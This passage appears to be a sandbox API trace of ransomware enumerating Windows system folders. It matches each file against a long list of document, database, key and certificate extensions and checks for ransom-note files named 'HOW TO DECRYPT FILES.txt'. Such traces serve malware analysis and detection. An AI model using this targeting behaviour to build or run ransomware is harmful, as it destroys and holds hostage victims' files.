(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.fdb") returned 0 [0111.466] lstrlenA (lpString="*.fdb") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.wab") returned 0 [0111.466] lstrlenA (lpString="*.wab") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dat") returned 0 [0111.466] lstrlenA (lpString="*.dat") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.txt") returned 0 [0111.467] lstrlenA (lpString="*.txt") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.jpeg") returned 0 [0111.467] lstrlenA (lpString="*.jpeg") returned 6 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.jpg") returned 0 [0111.467] lstrlenA (lpString="*.jpg") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.png") returned 0 [0111.467] lstrlenA (lpString="*.png") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.php") returned 0 [0111.467] lstrlenA (lpString="*.php") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cs") returned 0 [0111.467] lstrlenA (lpString="*.cs") returned 4 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cpp") returned 0 [0111.467] lstrlenA (lpString="*.cpp") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.rar") returned 0 [0111.467] lstrlenA (lpString="*.rar") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.zip") returned 0 [0111.467] lstrlenA (lpString="*.zip") returned 5 [0111.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.html") returned 0 [0111.467] lstrlenA (lpString="*.html") returned 6 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.htm") returned 0 [0111.468] lstrlenA (lpString="*.htm") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xlsx") returned 0 [0111.468] lstrlenA (lpString="*.xlsx") returned 6 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xls") returned 0 [0111.468] lstrlenA (lpString="*.xls") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mp4") returned 0 [0111.468] lstrlenA (lpString="*.mp4") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ppt") returned 0 [0111.468] lstrlenA (lpString="*.ppt") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pptx") returned 0 [0111.468] lstrlenA (lpString="*.pptx") returned 6 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.doc") returned 0 [0111.468] lstrlenA (lpString="*.doc") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dot") returned 0 [0111.468] lstrlenA (lpString="*.dot") returned 5 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.docx") returned 0 [0111.468] lstrlenA (lpString="*.docx") returned 6 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.7z") returned 0 [0111.468] lstrlenA (lpString="*.7z") returned 4 [0111.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tar") returned 0 [0111.468] lstrlenA (lpString="*.tar") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.bz2") returned 0 [0111.469] lstrlenA (lpString="*.bz2") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.gz") returned 0 [0111.469] lstrlenA (lpString="*.gz") returned 4 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mkv") returned 0 [0111.469] lstrlenA (lpString="*.mkv") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.eml") returned 0 [0111.469] lstrlenA (lpString="*.eml") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.msg") returned 0 [0111.469] lstrlenA (lpString="*.msg") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.edb") returned 0 [0111.469] lstrlenA (lpString="*.edb") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.accdb") returned 0 [0111.469] lstrlenA (lpString="*.accdb") returned 7 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.odb") returned 0 [0111.469] lstrlenA (lpString="*.odb") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.java") returned 0 [0111.469] lstrlenA (lpString="*.java") returned 6 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.asm") returned 0 [0111.469] lstrlenA (lpString="*.asm") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pfx") returned 0 [0111.469] lstrlenA (lpString="*.pfx") returned 5 [0111.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pem") returned 0 [0111.469] lstrlenA (lpString="*.pem") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.p12") returned 0 [0111.470] lstrlenA (lpString="*.p12") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.gpg") returned 0 [0111.470] lstrlenA (lpString="*.gpg") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vsd") returned 0 [0111.470] lstrlenA (lpString="*.vsd") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.odg") returned 0 [0111.470] lstrlenA (lpString="*.odg") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.raw") returned 0 [0111.470] lstrlenA (lpString="*.raw") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.nef") returned 0 [0111.470] lstrlenA (lpString="*.nef") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.svg") returned 0 [0111.470] lstrlenA (lpString="*.svg") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.psd") returned 0 [0111.470] lstrlenA (lpString="*.psd") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vmx") returned 0 [0111.470] lstrlenA (lpString="*.vmx") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vmdk") returned 0 [0111.470] lstrlenA (lpString="*.vmdk") returned 6 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vdi") returned 0 [0111.470] lstrlenA (lpString="*.vdi") returned 5 [0111.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.lay6") returned 0 [0111.470] lstrlenA (lpString="*.lay6") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mpeg") returned 0 [0111.471] lstrlenA (lpString="*.mpeg") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.djvu") returned 0 [0111.471] lstrlenA (lpString="*.djvu") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tiff") returned 0 [0111.471] lstrlenA (lpString="*.tiff") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.backup") returned 0 [0111.471] lstrlenA (lpString="*.backup") returned 8 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pdf") returned 0 [0111.471] lstrlenA (lpString="*.pdf") returned 5 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cert") returned 0 [0111.471] lstrlenA (lpString="*.cert") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.docm") returned 0 [0111.471] lstrlenA (lpString="*.docm") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xlsm") returned 0 [0111.471] lstrlenA (lpString="*.xlsm") returned 6 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dwg") returned 0 [0111.471] lstrlenA (lpString="*.dwg") returned 5 [0111.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.nd") returned 0 [0111.472] lstrlenA (lpString="*.nd") returned 4 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tlg") returned 0 [0111.472] lstrlenA (lpString="*.tlg") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.lgb") returned 0 [0111.472] lstrlenA (lpString="*.lgb") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mov") returned 0 [0111.472] lstrlenA (lpString="*.mov") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xdw") returned 0 [0111.472] lstrlenA (lpString="*.xdw") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ods") returned 0 [0111.472] lstrlenA (lpString="*.ods") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.wav") returned 0 [0111.472] lstrlenA (lpString="*.wav") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mp3") returned 0 [0111.472] lstrlenA (lpString="*.mp3") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.aiff") returned 0 [0111.472] lstrlenA (lpString="*.aiff") returned 6 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.flac") returned 0 [0111.472] lstrlenA (lpString="*.flac") returned 6 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.m4a") returned 0 [0111.472] lstrlenA (lpString="*.m4a") returned 5 [0111.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.csv") returned 0 [0111.472] lstrlenA (lpString="*.csv") returned 5 [0111.472] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd5a9b1a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd5a9b1a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd5a9b1a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.473] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.473] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc0f645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfdc0f645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfdc0f645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a5daafd496ae30928b7ac626037af53c", cAlternateFileName="A5DAAF~1")) returned 1 [0111.473] lstrcmpA (lpString1=".", lpString2="a5daafd496ae30928b7ac626037af53c") returned -1 [0111.473] lstrcmpA (lpString1="..", lpString2="a5daafd496ae30928b7ac626037af53c") returned -1 [0111.473] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.473] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="a5daafd496ae30928b7ac626037af53c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c" [0111.473] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c") returned 100 [0111.473] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc0f645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfdc0f645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfdc0f645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.494] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.494] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc0f645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfdc0f645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfdc0f645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.494] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.494] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.495] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdbc3385, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfdbc3385, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfdbc3385, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDEngine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.495] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0111.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0111.495] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0111.495] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\*.*") returned="*.*" [0111.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\" [0111.495] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\") returned="" [0111.495] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\HOW TO DECRYPT 